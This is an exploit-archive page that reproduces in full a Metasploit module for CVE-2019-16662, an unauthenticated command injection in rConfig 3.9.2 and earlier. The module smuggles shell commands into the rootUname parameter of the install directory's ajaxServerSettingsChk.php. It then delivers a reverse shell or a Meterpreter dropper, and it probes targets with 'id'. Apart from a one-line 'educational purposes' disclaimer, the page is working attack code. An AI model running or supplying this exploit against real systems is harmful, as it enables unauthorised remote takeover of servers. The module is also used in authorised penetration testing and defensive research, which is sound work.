Rconfig install command execution (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-11-08 | Type : remote | Platform : linux
This exploit / vulnerability Rconfig install command execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'rConfig install Command Execution',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability
in rConfig versions 3.9.2 and prior. The `install` directory is not
automatically removed after installation, allowing unauthenticated users
to execute arbitrary commands via the `ajaxServerSettingsChk.php` file
as the web server user.

This module has been tested successfully on rConfig version 3.9.2 on
CentOS 7.7.1908 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'mhaskar', # Discovery and exploit
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2019-16662'],
['EDB', '47555'],
['URL', 'https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e'],
['URL', 'https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/']
],
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => {'BadChars' => "\x00\x0a\x0d\x26"},
'Targets' =>
[
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
'Type' => :linux_dropper
]
],
'Privileged' => false,
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
'DisclosureDate' => '2019-10-28',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to rConfig install directory', '/install/'])
])
end

def check
res = execute_command('id')

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

if res.code == 404
vprint_error 'Could not find install directory'
return CheckCode::Safe
end

cmd_res = res.body.scan(%r{The root details provided have not passed: (.+?)<\\/}).flatten.first

unless cmd_res
return CheckCode::Safe
end

vprint_status "Response: #{cmd_res}"

unless cmd_res.include?('uid=')
return CheckCode::Detected
end

CheckCode::Vulnerable
end

def execute_command(cmd, opts = {})
vprint_status "Executing command: #{cmd}"
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxServerSettingsChk.php'),
'vars_get' => {'rootUname' => ";#{cmd} #"}
}, 5)
end

def exploit
unless [CheckCode::Detected, CheckCode::Vulnerable].include? check
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
end

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(:linemax => 1_500)
end
end
end